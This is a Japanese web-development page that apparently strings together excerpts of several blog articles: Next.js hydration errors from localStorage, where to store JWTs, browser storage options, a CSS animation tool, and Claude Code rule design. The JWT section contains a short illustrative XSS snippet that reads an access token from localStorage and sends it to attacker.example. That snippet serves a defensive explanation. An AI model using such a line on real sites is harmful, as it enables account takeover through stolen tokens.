サーバー（SSR）クライアント（初回描画）localStorageの値読めない（undefined）保存された値が読める描画されるHTMLデフォルト値で生成localStorageの値で生成結果——サーバーと不一致 → hydration error つまり hydration error の正体は、「サーバーとクライアントで初回の描画結果が違う」ことへのReactの警告です。localStorage はそのズレを生む代表例にすぎません。解決の方向性は一つで、初回描画をサーバーと揃え、localStorageの反映はマウント後に回すことです。 なお、同じ理由から Date.now() や Math.random()、window.innerWidth のようなサーバーとクライアントで結果が変わる値も hydration mismatch を起こします。「実行する環境によって変わるものは、初回描画に含めずマウント後に反映する」という原則は、localStorage 以外にもそのまま当てはまります。 エラーが起きる典型コードとメッセージ 最も多いのが、useState の初期値で直接 localStorage を読んでしまうパターンです。一見自然ですが、これがそのまま不一致の原因になります。 // ❌ hydration error を起こす典型例 "use client"; import { useState } from "react"; export function Theme() { // サーバーでは localStorage が無い → エラー or undefined // クライアント初回は値が入る → サーバーと不一致 const [theme, setTheme] = useState( typeof window !== "undefined" ? localStorage.getItem("theme") ?? "light" : "light" ); return <div>現在のテーマ: {theme}</div>; } このコードをSSR環境で動かすと、コンソールに次のような警告が表示されます（メッセージはバージョンにより多少異なります）。 Hydration failed because the initial UI does not match what was rendered on the server. Warning: Text content did not match. Server: "light" Client: "dark" サーバーは localStorage を読めず "light" で描画する一方、ブラウザでは保存済みの "dark" で描画しようとするため、テキストが一致せずエラーになります。typeof window でガードしても、初回描画の不一致そのものは解消されない点がこの問題の厄介なところです。 開発時は、ブラウザに表示されるNext.jsのエラーオーバーレイに「Server」と「Client」で描画された値の差分が示されます。どの要素が食い違っているかを把握する手がかりになるので、まずはここでズレているテキストや属性を特定し、その値の出どころ（多くは localStorage やブラウザ依存の値）を辿るのが解決の早道です。 解決法1：useEffectで読み取る（基本） 最も基本的な解決法は、初期値はサーバーと同じデフォルト値にしておき、localStorage の読み取りは useEffect の中で行うことです。useEffect はクライアントでマウントされた後にだけ実行されるため、サーバーの描画には影響しません。 "use client"; import { useState, useEffect } from "react"; export function Theme() { const [theme, setTheme] = useState("light"); // サーバーと同じ初期値 useEffect(() => { // マウント後（クライアントのみ）に読み込んで反映 const saved = localStorage.getItem("theme"); if (saved) setTheme(saved); }, []); return <div>現在のテーマ: {theme}</div>; } これでサーバーもクライアント初回も "light" で描画され、ハイドレーションは一致します。保存値の反映はマウント直後に行われます。ただし、一瞬デフォルト値が表示されてから切り替わる「ちらつき」が起きる点には注意が必要です。値の見た目の差が大きい場合は、次のマウント判定と組み合わせます。 解決法2：マウント判定でガードする ちらつきを避けたい、あるいは localStorage の値が無いと表示が成立しない場合は、マウントが完了するまで描画を保留する方法が有効です。mounted フラグを用意し、クライアントでマウントされるまではサーバーと同じ内容（プレースホルダーや null）を返します。 "use client"; import { useState, useEffect } from "react"; export function Theme() { const [mounted, setMounted] = useState(false); const [theme, setTheme] = useState("light"); useEffect(() => { setTheme(localStorage.getItem("theme") ?? "light"); setMounted(true); }, []); // マウント前はサーバーと同じものを返す（不一致を防ぐ） if (!mounted) return null; return <div>現在のテーマ: {theme}</div>; } mounted が false の間はサーバーと同じ null を返すため、ハイドレーションは一致します。マウント後に本来の内容を描画します。null の代わりにスケルトンやローディング表示を返せば、空白も避けられます。レイアウトのガタつきが気になる場合はこちらを選びます。 解決法3：next/dynamicでクライアント限定描画 コンポーネント全体がブラウザAPIに強く依存していて、そもそもサーバーで描画する意味がない場合は、next/dynamic で ssr: false を指定し、クライアントでのみ読み込むのが手っ取り早い解決です。 "use client"; import dynamic from "next/dynamic"; // このコンポーネントはサーバーでは描画されない const Theme = dynamic(() => import("./Theme"), { ssr: false }); export function Page() { return <Theme />; } ssr: false を付けると、そのコンポーネントはサーバー側のHTMLに含まれず、ハイドレーションの対象から外れるため不一致が起きません。ただしSSRの恩恵（初期表示の速さやSEO上のメリット）を捨てることになるので、ページの主要なコンテンツではなく、ウィジェットなど局所的な要素に使うのが適切です。 解決法4：useSyncExternalStoreで正攻法に対応する React には、localStorage のような外部の可変ストアを安全に読むための専用フック useSyncExternalStore が用意されています。これは getSnapshot（クライアントの値）と getServerSnapshot（サーバー時の値）を別々に渡せるため、SSRとクライアントの食い違いを設計レベルで吸収できます。 "use client"; import { useSyncExternalStore } from "react"; function subscribe(callback: () => void) { // 他タブでの変更も storage イベントで購読できる window.addEventListener("storage", callback); return () => window.removeEventListener("storage", callback); } export function useThemeStorage() { return useSyncExternalStore( subscribe, () => localStorage.getItem("theme") ?? "light", // クライアント () => "light" // サーバー（固定値） ); } getServerSnapshot がサーバー時の値を固定で返すため、初回はサーバーと一致し、マウント後にクライアントの値へ更新されます。加えて subscribe で storage イベントを購読しておけば、別タブでの localStorage の変更にも自動で追従できます。やや高度ですが、Reactが想定する「外部ストアの正しい読み方」です。 ### [localStorageにJWTを保存すべきか](https://codequest.work/localstorage-jwt-xss-risk/) 結論から言うと、JWT（アクセストークン）を localStorage に保存するのは原則として避けるべきです。localStorage はページ上のあらゆる JavaScript から読めるため、XSS（クロスサイトスクリプティング）が一度でも起きると、保存したトークンを丸ごと盗まれます。トークンの基本の置き場所は HttpOnly 属性を付けた Cookie です。 とはいえ「localStorage は絶対にダメ」と機械的に覚えるのも危険です。なぜ危険なのか、Cookie なら何が解決して何が新たに必要になるのか、そして localStorage が現実的な選択になるのはどんな条件かを理解して自分で判断できることが大切です。SPA開発では避けて通れないテーマです。 この記事では、JWTの保存先を「XSS耐性」「CSRF対策」「実装のしやすさ」の観点から整理し、localStorage と HttpOnly Cookie の違い、実務で推奨されるトークン管理パターン、そして保存先を議論する前提となるXSS対策までを解説します。ブラウザストレージ全体の使い分けは localStorage・sessionStorage・Cookie・IndexedDBの使い分け を参照してください。 結論：localStorageへのJWT保存は原則避ける まず判断の軸を明確にします。JWTの保存先を選ぶとき、最も重視すべきは「XSSが起きたときにトークンが盗まれるか」です。この観点で見ると、保存先ごとの性質は次のように整理できます。 localStorage / sessionStorage：JavaScriptから読めるため、XSSでトークンが盗まれる。機密トークンの保存には不向き HttpOnly Cookie：JavaScriptから読めないため、XSSでスクリプトが走ってもトークン自体は読み出せない。ただしCSRF対策（SameSite）が別途必要 JavaScriptのメモリ（変数）：ページを離れると消えるが、保存されている間はXSSで読まれうる。リフレッシュトークンと組み合わせて使う したがって基本方針は、機密性の高いトークンは HttpOnly Cookie に置き、localStorage には置かないです。これは OWASP のセキュリティチートシートでも、機密データを Web Storage に保存しないよう推奨されている考え方と一致します。 前提：アクセストークンとリフレッシュトークンの違い 保存先を正しく判断するには、JWTを使った認証で登場する2種類のトークンの役割を分けて理解しておく必要があります。両者は寿命も使われ方も違うため、適切な置き場所も変わります。 アクセストークンリフレッシュトークン寿命短命（数分〜十数分）長命（数日〜数週間）用途APIへのアクセス認可アクセストークンの再発行送信頻度APIリクエストごと再発行APIのときだけ推奨の置き場所メモリ（変数）HttpOnly Cookie ポイントは、頻繁に使うアクセストークンは短命にして露出リスクを下げ、長命なリフレッシュトークンは JavaScript から隔離して厳重に守るという役割分担です。「JWTをどこに保存するか」という問いは、正確には「この2つをそれぞれどこに置くか」という問いだと捉えると、判断がぶれません。 なぜlocalStorageは危険なのか（XSSの仕組み） localStorage の危険性は、その手軽さの裏返しです。同一オリジンで動くJavaScriptなら、誰でも自由に読み書きできます。これは自分のコードだけでなく、ページに紛れ込んだ攻撃者のスクリプトにも当てはまります。 たとえば、ユーザーの入力をエスケープせずに画面へ出力している箇所があると、攻撃者は次のようなスクリプトを注入できます（XSS）。これが実行されると、localStorage のトークンは一瞬で外部サーバーへ送信されます。 // 攻撃者が注入に成功したスクリプトの例 // localStorage は同一オリジンのJSから自由に読めてしまう const token = localStorage.getItem("accessToken"); fetch("https://attacker.example/steal?t=" + token); 重要なのは、XSSが成立した時点で「localStorageに入っているもの」は全て危険にさらされるという点です。トークンを暗号化して保存しても、復号するためのロジックと鍵が同じくJavaScript側にある以上、攻撃者はそれも実行できるため根本的な対策にはなりません。 盗まれたトークンで何が起きるかも具体的に押さえておきましょう。攻撃者はそのトークンを使って正規ユーザーになりすまし、APIを呼び出せます。データの閲覧・改ざん・削除、権限のある操作の実行などが、本人の操作と区別できない形で行われます。しかも前述のとおりJWTは途中で失効させにくいため、有効期限が切れるまで悪用が続くおそれがあります。これが、長命なトークンほど localStorage に置いてはいけない理由です。 HttpOnly Cookieならなぜ安全なのか 一方、HttpOnly 属性を付けた Cookie は、JavaScriptの document.cookie から読み取れません。ブラウザがリクエスト時に自動で送信してくれるため、JavaScriptがトークンに触れる必要がそもそもなくなります。XSSでスクリプトが実行されても、トークンの値自体は盗み出せません。 サーバーがトークンを発行する際は、次のように属性を付与します。3つの属性をセットで付けるのが基本です。 Set-Cookie: refreshToken=xxxxx; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=1209600 属性役割HttpOnlyJavaScriptから読み取れなくする（XSS対策の要）SecureHTTPS接続でのみ送信する（盗聴対策）SameSite他サイト起点のリクエストでの送信を制限する（CSRF対策） ただし Cookie は「リクエストのたびに自動送信される」性質があるため、攻撃者が用意した別サイトから勝手にリクエストを飛ばされるCSRF（クロスサイトリクエストフォージェリ）のリスクが新たに生まれます。これを抑えるのが SameSite 属性です。SameSite=Strict または Lax を指定することで、他サイト起点のリクエストにCookieが付かなくなります（参考: MDN SameSite）。 localStorage vs Cookie：JWT保存先の比較 ここまでの違いを、JWT保存先という観点で並べて比較します。「XSSに強いか」と「CSRF対策が要るか」がトレードオフになっている点がポイントです。 観点localStorageHttpOnly CookieXSSでの盗難盗まれる盗まれないCSRF対策不要（自動送信されない）必要（SameSite等）JSからの読み取り可能不可サーバーへの送信手動（ヘッダに付与）自動SSRとの相性読めず注意が必要良い（サーバーで読める）実装の手軽さ手軽サーバー設定が必要 表のとおり、localStorage は実装が手軽でCSRFを気にしなくてよい反面、XSSに弱いという致命的な弱点があります。セキュリティを優先するなら HttpOnly Cookie が基本で、CSRFは SameSite で対処する、というのが現在の定石です。なお、SSR環境で localStorage を読むと別の問題（hydration error）も起きます。詳細は Next.jsでlocalStorageがhydration errorになる原因と解決法 を参照してください。 それでもlocalStorageが選ばれるケースとその条件 実務では、localStorage にアクセストークンを置く構成も現実には存在します。これを頭ごなしに否定するのではなく、どんな条件下なら被害を限定できるのかを理解しておくことが、正しい判断につながります。localStorage が一定許容されうるのは、おおむね次の条件が揃う場合です。 アクセストークンが短命である：有効期限を数分〜十数分に絞れば、盗まれても悪用できる時間が短い リフレッシュトークンは localStorage に置かない：長命なリフレッシュトークンはHttpOnly Cookieに分離し、漏えい時の被害を限定する XSS対策が徹底されている：CSP導入・出力エスケープ・依存ライブラリの監査など、そもそもXSSを起こさない前提が整っている 外部スクリプトを極力読み込まない：広告タグやサードパーティスクリプトが多いほど、XSSの侵入経路が増える 言い換えれば、「アクセストークンは短命にして、長命なリフレッシュトークンだけは必ずJSから隔離する」のが、localStorageを使う場合でも守るべき最低ラインです。逆にこれらの条件を満たせないなら、localStorage は選ぶべきではありません。 実務の推奨パターン：メモリ＋HttpOnly Cookie 現在、多くのセキュリティガイドが推奨するのは、アクセストークンはJavaScriptのメモリ（変数）で保持し、リフレッシュトークンは HttpOnly Cookie に置くという組み合わせです。それぞれの寿命と役割が違うため、置き場所も分けるという発想です。 アクセストークン（短命）：JavaScriptの変数（メモリ）に保持。リロードで消えるが、リフレッシュトークンから再取得する。永続ストレージに書かないのでXSSの被害面を減らせる リフレッシュトークン（長命）：HttpOnly + Secure + SameSite Cookie に保存。JSから読めず、再発行APIにだけ自動送信される リフレッシュ時にトークンをローテーション：再発行のたびに新しいリフレッシュトークンへ差し替え、古いものを無効化する // アクセストークンはメモリで保持（永続化しない） let accessToken = null; async function refresh() { // リフレッシュトークンは HttpOnly Cookie なので // fetch が自動でCookieを送る（credentials: "include"） const res = await fetch("/api/refresh", { method: "POST", credentials: "include", }); const data = await res.json(); accessToken = data.accessToken; // メモリに保持 } 注意したいのは、メモリに置いたアクセストークンも、XSSが実行されている最中には読まれうるという点です。メモリ保持が安全なのではなく、「永続ストレージに書かない＝XSSが収まった後も残り続けるトークンをなくす」ことで被害の窓口を狭めている、という多層防御の発想です。完全な防御ではない前提で、一次防御のXSS対策と組み合わせて初めて意味を持ちます。 さらに堅牢にするなら、トークンをブラウザに一切持たせず、サーバー（BFF: Backend For Frontend）側でセッションとして管理し、ブラウザにはセッションCookieだけを渡す構成もあります。サーバーセッションによる認証の基本は PHPログイン機能の作り方｜セッションとpassword_hashで安全に実装する手順 が参考になります。 JWT特有の注意点：失効の難しさとペイロード 保存先の議論と並んで押さえておきたいのが、JWT そのものの性質です。 ### [localStorage・sessionStorage・Cookie・IndexedDBの使い分け](https://codequest.work/web-storage-cookie-indexeddb/) localStorage・sessionStorage・Cookie・IndexedDBは、いずれもブラウザにデータを保存する仕組みですが、容量・データの寿命・サーバーへ自動送信されるか・APIの使い勝手が異なり、用途で使い分けます。おおまかには、タブを閉じたら消えていい一時データは sessionStorage、軽い設定の永続保存は localStorage、サーバーと共有する認証情報は Cookie、大量・構造化データやオフライン用途は IndexedDB が基本の選択肢です。 フロントエンドを書いていると「この値、どこに保存するのが正解だろう？」と迷う場面は必ず来ます。とりあえず何でも localStorage に入れてしまう、認証トークンの置き場所で詰まる、設定値ごときに IndexedDB を持ち出してしまう——保存先の選択を誤ると、セキュリティリスクや無駄な複雑さを抱え込むことになります。 この記事では、4つのストレージの違いを容量・寿命・サーバー送信・同期/非同期の観点で整理し、ユースケース別にどれを選ぶべきかの判断基準を示します。あわせて、やりがちな間違いと、認証トークンの保存先・SSR/hydration での注意点（関連記事）まで踏み込みます。 localStorage・sessionStorage・Cookie・IndexedDBとは 4つはどれも「ブラウザ側にデータを置く」点は同じですが、設計思想が違います。まずは全体像を1枚の表で押さえましょう。容量や寿命、サーバーへ送られるかどうかが、そのまま使い分けの判断軸になります。 項目localStoragesessionStorageCookieIndexedDB容量の目安約5MB前後約5MB前後約4KB/個数百MB〜（大容量）データの寿命削除するまで永続タブを閉じると消える有効期限を指定削除するまで永続サーバーへ自動送信されないされない毎回されるされないAPI同期同期同期非同期保存できる型文字列のみ文字列のみ文字列のみオブジェクト/Blob等主な用途設定の永続保存一時的なUI状態認証・サーバー連携大量・構造化データ 容量は仕様で厳密に決まっているわけではなくブラウザ依存ですが、localStorage・sessionStorage はオリジンごとに概ね5MB前後が目安です（出典: MDN Web Storage API）。Cookie は仕様上1個あたり最低4096バイトの確保が求められており、4KB程度が上限です（出典: MDN HTTP Cookie）。IndexedDB は空きディスクに応じて大容量を扱えます。 localStorageの特徴と向いている用途 localStorage は、同一オリジン内で明示的に削除するまでデータが残り続けるキー・バリュー型のストレージです。APIは同期的で扱いやすく、保存できるのは文字列だけなので、オブジェクトは JSON.stringify で文字列化して保存します。 // 保存（値は文字列化する） localStorage.setItem("theme", "dark"); localStorage.setItem("user", JSON.stringify({ id: 1, name: "Taro" })); // 取得 const theme = localStorage.getItem("theme"); // "dark" const user = JSON.parse(localStorage.getItem("user")); // { id: 1, name: "Taro" } // 削除 localStorage.removeItem("theme"); 向いている用途は、ダークモードや言語などのテーマ設定、同意バナーの既読フラグ、軽量なキャッシュなど「タブをまたいで永続的に保持したい軽いデータ」です。実装の具体例は、Webパーソナライズの実装方法 — JavaScript＋localStorageでツール不要や、TypeScriptで作る！チェックリストアプリ｜ローカル保存＆編集機能で実際の使い方を確認できます。 一方で、認証トークンや機密情報の保存には向きません。JavaScript から自由に読み書きできるため、XSS（クロスサイトスクリプティング）が起きると中身を丸ごと盗まれます。この点は後半のセキュリティ章で詳しく扱います。 sessionStorageの特徴と向いている用途 sessionStorage は API も使い方も localStorage とほぼ同じですが、決定的に違うのがデータの寿命です。localStorage が永続するのに対し、sessionStorage はそのタブ（ブラウジングコンテキスト）を閉じると消えます。同じURLでも別タブで開けばデータは共有されず、それぞれ独立しています。 // localStorage と同じAPIで使える sessionStorage.setItem("step", "2"); sessionStorage.getItem("step"); // "2" // リロードでは保持されるが、タブを閉じると消える // 別タブで開いた同じサイトとは共有されない 向いている用途は、入力フォームの一時保持、複数ステップのウィザードの途中状態、そのセッション限定で覚えておきたいフラグなど、「持ち越したくない一時データ」です。永続化すると逆に困る情報——たとえば「このタブで一度だけ表示したモーダル」のような状態——は、localStorage ではなく sessionStorage が正解になります。 Cookieの特徴と向いている用途 Cookie が他の3つと根本的に違うのは、HTTPリクエストのたびにサーバーへ自動送信される点です。この性質があるからこそ、サーバー側でユーザーを識別する認証・セッション管理の定番として使われてきました。容量は4KB程度と小さく、保存先としての使い勝手はよくありません。 セキュリティ上、Cookie には必ず意識すべき属性があります。サーバーが Set-Cookie ヘッダで付与する代表的な属性は次のとおりです。 属性役割HttpOnlyJavaScriptから読めなくする。XSSでの盗難を防ぐSecureHTTPS接続でのみ送信するSameSite他サイトからのリクエスト送信を制限し、CSRFを緩和するExpires / Max-Age有効期限を指定する（無指定はセッションCookie） # サーバーが返す Set-Cookie ヘッダの例（認証トークン） Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Max-Age=3600 向いている用途は、サーバーと共有する必要があるデータ——とりわけ認証トークンやセッションIDです。HttpOnly を付ければ JavaScript から読めなくなるため、localStorage よりXSSに強くなります。サーバーセッションを使った認証の具体例は、PHPログイン機能の作り方｜セッションとpassword_hashで安全に実装する手順が参考になります。 IndexedDBの特徴と向いている用途 IndexedDB は、ブラウザに組み込まれた非同期のNoSQLデータベースです。文字列しか持てない他の3つと違い、オブジェクトや Blob などの構造化データをそのまま保存でき、インデックスを張った検索やトランザクションも使えます。容量も空きディスクに応じて大きく取れます。 // IndexedDB はすべて非同期（イベント駆動） const req = indexedDB.open("myDB", 1); req.onupgradeneeded = (e) => { e.target.result.createObjectStore("items", { keyPath: "id" }); }; req.onsuccess = (e) => { const db = e.target.result; // 以降、トランザクションを開いて読み書きする }; 向いている用途は、オフライン対応（PWA）、大量データのキャッシュ、画像やファイルの保存など「localStorage では入りきらない／構造化したいデータ」です。ただし生のAPIは記述が冗長なため、実務では Dexie.js のようなラッパーライブラリを併用することが多いです。逆に、設定値が数個あるだけのケースで IndexedDB を持ち出すのは明確なオーバースペックです。 オフライン対応では、IndexedDB と Cache API がよく混同されます。役割が違うので整理しておくと、IndexedDB はアプリのデータ（JSONや構造化データ）を保存するもの、Cache API は Service Worker と組み合わせてHTTPリクエストとレスポンス（HTML・CSS・画像などのファイル）をキャッシュするものです。PWAでは「データはIndexedDB、ページやアセットはCache API」と使い分けるのが定石です。 ストレージを扱うときの共通の注意点 どれを選ぶかとは別に、ブラウザストレージ全般に共通する「使う前に知っておくべき挙動」があります。ここを外すと、保存先の選択が正しくても実装でつまずきます。 文字列しか保存できない（IndexedDB以外） localStorage・sessionStorage・Cookie はいずれも値を文字列としてしか保存できません。オブジェクトや配列は JSON.stringify で文字列化して保存し、取り出すときに JSON.parse で戻します。このとき、壊れた値や旧フォーマットが残っていると JSON.parse が例外を投げるため、try/catch で防御するのが安全です。 同期APIはメインスレッドをブロックする localStorage・sessionStorage の読み書きは同期処理で、実行中はメインスレッド（UI）が止まります。少量のデータなら問題になりませんが、巨大なデータを頻繁に読み書きすると画面がカクつく原因になります。大量データを扱うなら、非同期で動く IndexedDB を選ぶべき理由のひとつがこれです。 storageイベントでタブ間の同期ができる localStorage の変更は、同じオリジンの他のタブに storage イベントとして通知されます。これを使うと、たとえば「片方のタブでログアウトしたら、開いている全タブを一斉にログアウトさせる」といった同期が実装できます。なお、タブごとに独立している sessionStorage はこのイベントの対象外です。 // 別タブで localStorage が変わると発火する window.addEventListener("storage", (e) => { if (e.key === "auth" && e.newValue === null) { // 他タブでログアウトされた → このタブもログアウト処理 location.reload(); } }); プライベートモードやブラウザ設定で使えないことがある プライベートブラウジングやトラッキング防止機能が有効な環境では、Cookie やストレージが制限・無効化されることがあります。保存に失敗してもアプリ全体が落ちないよう、書き込みは try/catch で包み、保存できないケースのフォールバックを用意しておくと堅牢になります。 4つの使い分け早見表 ここまでの特徴を、判断軸ごとに逆引きできる形でまとめます。「何を基準に選ぶか」が決まれば、候補は自然に絞れます。 ### [CSSアニメーションをコピペで使える無料ツール｜3D含む100種をプレビューしてコード取得](https://codequest.work/css-animation-gallery-tool/) CSSアニメーションギャラリーとは、fadeやzoom、bounce、3Dフリップカードまで多彩なCSSアニメーションをブラウザ上でプレビューし、@keyframes付きのコードをワンクリックでコピーできる無料ツールです。外部ライブラリやJavaScriptは不要で、生成されたコードを貼り付けるだけで実装できます。 「動きをつけたいけれど、毎回 @keyframes をゼロから書くのは面倒」「animate.cssを読み込むほどではないけれど、定番のアニメーションをサッと使いたい」——そんな場面は意外と多いものです。アニメーション名で検索してコードを探し、速度や繰り返しを手で調整して…という手間が、地味に作業を止めます。 この記事では、CodeQuest.workが公開している無料ツール「CSSアニメーションギャラリー」の特徴と使い方を、実際の操作の流れに沿って解説します。3Dを含めて全100種類のアニメーションをプレビューしながら選び、必要な分だけコードを取得できるツールです。 CSSアニメーションギャラリーを使ってみる（無料） CSSアニメーションギャラリーとは CSSアニメーションギャラリーは、ブラウザだけで完結するCSSアニメーションのプレビュー＆コード取得ツールです。基本の流れは「プレビュー → 調整 → コピペ」の3ステップだけ。アニメーション一覧から動きを確認し、速度やイージングを調整して、生成されたCSSをそのままコピーして使えます。 CSSアニメーションそのものの仕組み（@keyframes と animation プロパティの基本）については、CSSアニメーション徹底解説｜@keyframes の基本から応用までで詳しく解説しています。本記事は「書き方」ではなく「ツールで素早く取得して使う」ことに焦点を当てています。 このツールでできること CSSアニメーションギャラリーの特徴は、大きく次の3つです。 3D含む100種類のアニメーションをプレビュー：fade・zoom・bounce・slide・rotate・flipといった定番から、glitchやneonFlickerなどの演出系、3D表現まで一覧で確認できます 外部ライブラリ・JavaScriptが不要：出力されるのは純粋なCSSのみ。ライブラリの読み込みやビルド設定なしで、コピペするだけで動きます @keyframes付きのコードをワンクリックでコピー：CSSだけ・HTML+CSSの一式という形式を選んでコピーでき、必要な分だけを取得できます animate.cssのようなライブラリは便利ですが、1つの動きのためにCSS全体を読み込むのはオーバーヘッドになりがちです。このツールは「使う分のCSSだけを取り出す」発想なので、軽量に保ちたいサイトやLPと相性が良いのが利点です。 使い方は3ステップ 操作はシンプルで、次の3ステップで完結します。 プレビューで動きを選ぶ：アニメーション一覧から、使いたい動きを目で見て確認します。気になる動きはその場で再生されるので、名前を知らなくても直感的に選べます パラメータを調整する：再生速度・イージング・繰り返し回数・プレビュー要素などを変えて、実際の使い方に近い状態に整えます コードをコピーして貼る：生成された @keyframes 付きのCSS（またはHTML+CSS一式）をワンクリックでコピーし、自分のプロジェクトに貼り付けます 「アニメーション名を知らないと探せない」ツールと違い、見た目から選べるのがギャラリー型の強みです。動きのイメージは頭にあるけれど名前が分からない、というときほど効果を発揮します。 調整できるパラメータ プレビューしながら、次のパラメータを調整できます。調整内容はそのまま生成コードに反映されます。 パラメータ選べる値主な効果プレビュー要素テキスト／ボックス／ボタン／アイコン実際の用途に近い見た目で動きを確認できる再生速度（duration）1.0秒を基準に調整動きの速さ。速くするとキビキビ、遅くするとゆったりイージングease／linear／ease-in／ease-out／ease-in-out加速・減速のカーブ。動きの印象を左右する繰り返し1回／2回／3回／無限ループローディング演出は無限、登場演出は1回など使い分け再生モード全て再生／ホバー時再生自動再生か、:hover で発火させるかを切り替え 特に「ホバー時再生」モードは、ボタンやカードのマウスオーバー演出をそのまま :hover のCSSとして取得できるため、JavaScriptを書かずにインタラクションを実装したいときに便利です。 収録アニメーションの種類 収録されているアニメーションは、ざっくり次のカテゴリに分けられます。代表的な動きと、どんな場面に向くかを整理しました。 カテゴリ代表的なアニメーション向いている用途フェード系fadeIn／fadeInUp／blurIn要素の登場・スクロールでの表示ズーム系zoomIn／zoomOut強調・モーダルやポップアップバウンス系bounce／bounceIn／heartBeat注目喚起・アイコンの動きスライド系slideInLeft／slideInUpパネルやメニューの出入り回転系rotateIn／flip／coinFlipカード・バッジの反転揺れ・注目系shake／pulse／tada／jello／wobbleエラー表示・CTAの強調特殊エフェクトglitch／neonFlicker／lightSpeed／jackInTheBoxヒーローやキービジュアルの演出3D系spin3D／tilt3D／flip3D奥行きのある立体表現 多くは animate.css 相当の定番アニメーションをカバーしているため、「あのライブラリで見た動き」を名前を知らなくても探し出せます。加えて、glitchやneonFlickerのようなWeb演出向けの動きや、後述する3D表現も含まれている点が特徴です。 3D表現にも対応 平面的な動きだけでなく、CSSの transform と perspective を使った3D表現も用意されています。いずれもプレビューで動きを確認してからコードを取得できます。 3Dフリップカード マウスホバーで表裏がくるりと反転するカードです。表面と裏面に別々の内容を載せられるため、用語カードやメンバー紹介、Before/Afterの見せ方などに使えます。:hover で発火するため、JavaScriptは不要です。 3Dキューブ 6面体（立方体）が自動で回転する表現です。各面に画像やテキストを配置でき、ギャラリーやサービスの特徴を立体的に見せたいときのアクセントになります。 3Dメリーゴーランド 6枚のパネルが円周上を回転する、メリーゴーランド型のカルーセルです。複数の要素を立体的に巡回表示できるため、実績や写真を印象的に並べたい場面に向いています。 コピーしたコードの使い方 生成されるCSSは、@keyframes（動きの定義）と、それを要素に適用する animation プロパティのセットです。たとえば「fadeInUp」を取得すると、次のようなコードになります（動きの値は一例です）。 @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .target { animation: fadeInUp 1s ease both; } あとは、動かしたい要素に target クラスを付けるだけです。 <div class="target">フェードインで登場する要素</div> ホバー時再生で取得した場合は、:hover にアニメーションが紐づいた形でコピーされます。マウスを乗せたときだけ動かしたいボタンやカードは、この形を使えばJavaScriptなしで実装できます。 .button:hover { animation: pulse 1s ease; } CSSの animation プロパティの各値（duration・timing-function・iteration-count など）の意味は、MDN Web Docsのanimationリファレンスが一次情報として参考になります。ツールで取得したコードを微調整したいときに役立ちます。 こんな場面で使える CSSアニメーションギャラリーは、次のような場面で特に効果を発揮します。 ボタンやカードのホバー演出：pulseやtadaなどをホバー時再生で取得し、CTAの存在感を高める ヒーロー・ファーストビューの登場演出：fadeInUpやzoomInで、見出しやキービジュアルを印象的に表示する ローディング・待機中の表現：無限ループ設定のspinやpulseで、読み込み中のフィードバックを作る エラー・注意喚起：shakeで入力エラーを視覚的に伝える LP・ポートフォリオのアクセント：3Dフリップカードやキューブで、他と差がつく見せ方をする アニメーションの「実装手法そのもの」をライブラリ単位で比較したい場合は、Webアニメーション完全ガイド｜Animate.css・AOS・IO・GSAP 4手法を比較解説もあわせて参考にしてください。CSS単体で足りるのか、GSAPなどのライブラリが必要なのかを判断する助けになります。 使うときにつまずきやすいポイント コピーしたコードをそのまま使う際に、知っておくと迷わずに済むポイントを3つ挙げます。動かない・重いといったトラブルの多くは、ここを押さえれば回避できます。 スクロールで発火させたいときはCSSだけでは足りない CSSアニメーションは、要素がページに表示された時点で再生されます。一方で「要素が画面内にスクロールで入ってきたら動かす」という制御は、CSS単体ではできません。スクロール連動を実現するには、Intersection Observerなどで画面内に入ったことを検知し、JavaScriptでクラスを付け替える必要があります。CSSで足りるか、ライブラリやJSが要るかの判断は、前掲のWebアニメーション比較ガイドが参考になります。 重いアニメーションを避けるコツ アニメーションさせるプロパティ選びは、表示のなめらかさに直結します。transform と opacity はブラウザがGPUで合成処理できるため軽く、width・height・top・left などはレイアウトの再計算（リフロー）を毎フレーム引き起こすため重くなりがちです。このツールの動きの多くは transform ベースで設計されていますが、自分で値を足す際もこの原則を意識すると、カクつきを抑えられます（参考: web.dev: Animations guide）。 アニメーションが動かない・一度しか再生されないとき animation は基本的に要素の表示時に再生され、繰り返しを「1回」にすると当然ながら一度きりです。同じ動きをもう一度走らせたい場合は、クラスをいったん外して付け直すか、ホバー時再生のコードを使います。また display: none の要素にはアニメーションが適用されないため、表示の切り替えと組み合わせるときは順序に注意してください。 よくある質問 Q. 外部ライブラリやJavaScriptは必要ですか？ いいえ。出力されるのは純粋なCSSのみで、外部ライブラリの読み込みやJavaScriptは不要です。ホバー時に動かす演出も :hover で実装されるため、コピーしたCSSを貼り付けるだけで動作します。 ### [Claude Codeのルール・エージェント設計術｜CLAUDE.mdとサブエージェント運用の実践知](https://codequest.work/claude-code-rules-agents-design/) Claude Codeのルール・エージェント設計とは、何を恒久的なルールとして固定し、何を誰（サブエージェント）に委譲するかの線引きを決める作業です。「書き方」よりも、この設計判断と運用ルールこそが、AIに安定して仕事を任せられるかどうかを分けます。 公式ドキュメントやコマンド一覧を読めば「構文」はすぐ分かります。ところが実際に運用を始めると、ルールが肥大化して効かなくなったり、サブエージェントに丸投げして失敗したりと、「書けるのに、まわらない」状態に陥りがちです。原因の多くは、設計の話と運用の話を分けずに進めてしまうことにあります。すでにClaude Codeを触っていて、設定ファイルやサブエージェントの「書き方」は分かるのに運用が安定しない——そんな段階の人に向けた内容です。 この記事は、Claude Codeを実運用してきた経験から、ルールとエージェントを「どう設計し、どう運用するか」に絞って解説します。個々の作り方・構文はClaude Code上級編（MCP・Hooks・Skills・サブエージェント実践ガイド）に、コマンドやCLIの一覧はClaude Codeコマンド一覧＆実践ガイドに譲り、ここでは設計判断・委譲の境界線・実運用で踏むアンチパターンに集中します。 Claude Codeの「ルール」と「エージェント」は4層に分かれる 設計を始める前に、まず「どこに何を書けるか」を層として整理します。Claude Codeに対する指示は、大きく4つの層に分かれます。上の層ほど適用範囲が広く、下の層ほど特定の文脈に効きます。 層何を書くか適用範囲① グローバル設定（ユーザー単位）全プロジェクト共通の方針・好み・作業フローすべてのプロジェクト② プロジェクト設定（リポ単位）そのリポジトリ固有のルール・禁止事項1プロジェクト③ ルールファイル（参照読み込み）粒度の細かい規約（コーディング規約・書式など）読み込まれた範囲④ エージェント／サブエージェント定義特定の役割に特化した専用の指示そのエージェント実行中のみ 